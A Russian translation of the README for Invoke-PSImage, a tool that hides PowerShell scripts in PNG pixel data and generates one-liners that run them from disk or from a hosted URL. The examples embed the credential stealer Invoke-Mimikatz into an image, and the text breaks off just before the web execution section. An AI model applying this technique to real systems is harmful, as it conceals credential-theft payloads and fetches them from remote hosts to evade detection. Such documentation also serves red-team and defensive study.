
Кодирует сценарий PowerShell в пикселях PNG-файла и генерирует однострочную команду для выполнения.
Кодирует PowerShell-скрипт в пикселях PNG-файла и генерирует однострочную команду для выполнения
Invoke-PSImage берёт PowerShell-скрипт и кодирует байты скрипта в пиксели PNG-изображения. Он генерирует однострочную команду для выполнения либо из файла, либо из сети.
Он может либо создать новое изображение, используя только данные полезной нагрузки, либо встроить полезную нагрузку в наименее значащие байты существующего изображения, чтобы оно выглядело как обычная картинка. Изображение сохраняется в формате PNG и может быть сжато без потерь, не влияя на возможность выполнения полезной нагрузки, поскольку данные хранятся в самих цветах. При создании новых изображений обычные PowerShell-скрипты существенно сжимаются, обычно создавая PNG с размером файла ~50% от исходного скрипта.
При методе встраивания используются наименее значащие 4 бита 2 цветовых значений в каждом пикселе для хранения полезной нагрузки. Качество изображения при этом страдает, но оно всё ещё выглядит приемлемо. На вход можно подавать большинство типов изображений, но на выходе всегда будет PNG, так как требуется сжатие без потерь. Каждый пиксель изображения используется для хранения одного байта скрипта, поэтому вам понадобится изображение с количеством пикселей не меньше, чем байтов в вашем скрипте. Это довольно просто — например, Invoke-Mimikatz помещается в изображение 1920x1200.
-Script [filepath] Путь к скрипту для встраивания в изображение.
-Out [filepath] Файл для сохранения результирующего изображения (изображение будет в формате PNG).
-Image [filepath] Изображение, в которое встраивается скрипт. (необязательно)
-WebRequest Вывести команду для чтения изображения из сети с помощью Net.WebClient. Вам нужно будет разместить изображение и вставить URL в команду.
-PictureBox Вывести команду для чтения изображения из сети с помощью System.Windows.Forms.PictureBox. Вам нужно будет разместить изображение и вставить URL в команду.
Создать изображение со встроенным скриптом "Invoke-Mimikatz.ps1" и вывести однострочную команду для выполнения с диска:
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[Oneliner to execute from a file]
Создать изображение со встроенным скриптом "Invoke-Mimikatz.ps1" и вывести однострочную команду для выполнения из сети (вам всё равно нужно разместить изображение и отредактировать URL):
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
[Oneliner to execute from the web]
Выполнение изображения, размещённого в сети:
